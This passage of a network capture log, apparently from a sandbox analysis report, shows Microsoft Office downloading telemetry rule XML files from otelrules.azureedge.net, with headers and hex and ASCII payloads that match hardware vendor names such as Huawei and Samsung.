T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.9	49725	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:54 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:54 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114554Z-16849878b78g2m84h2v9sta29000000000zg000000001dt5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:54 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49727	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:54 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 66eaddbf-601e-0084-58ff-256b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114554Z-r197bdfb6b47gqdjqh2kwsuz8c000000029000000000a5c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.9	49729	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:55 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 630b92e5-101e-00a2-203d-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114555Z-r197bdfb6b4bq7nf8mnywhn9e00000000320000000003cpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.9	49734	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:55 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:55 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114555Z-16849878b786fl7gm2qg4r5y7000000002ag000000002pek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:55 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.9	49732	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:55 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:55 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114555Z-r197bdfb6b4jlq9hb8xf0re6t400000001z0000000006mk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:55 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.9	49733	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:55 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0fc246dd-801e-0035-4529-26752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114555Z-15b8d89586f6nn8zb8x99wuenc00000002zg000000004ycr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.9	49735	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:56 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:56 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ea438a18-a01e-0053-68ef-258603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114556Z-17c5cb586f6gkqkwd0x1ge8t0400000002ag000000002f1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:56 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.9	49738	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:56 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114556Z-16849878b7867ttgfbpnfxt44s00000001ug000000008tvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	49739	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:56 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-r197bdfb6b48pl4k4a912hk2g40000000170000000001a17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.9	49741	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:56 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:56 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114556Z-16849878b78smng4k6nq15r6s400000003bg00000000f8k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.9	49740	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:56 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 80263b1c-901e-002a-38ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-15b8d89586fxdh48qknu9dqk2g00000005wg000000006hue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.9	49742	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:57 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:57 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: ce95f5ab-001e-0034-242a-27dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114557Z-r197bdfb6b4skzzvqpzzd3xetg00000001b0000000004ten x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:57 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" 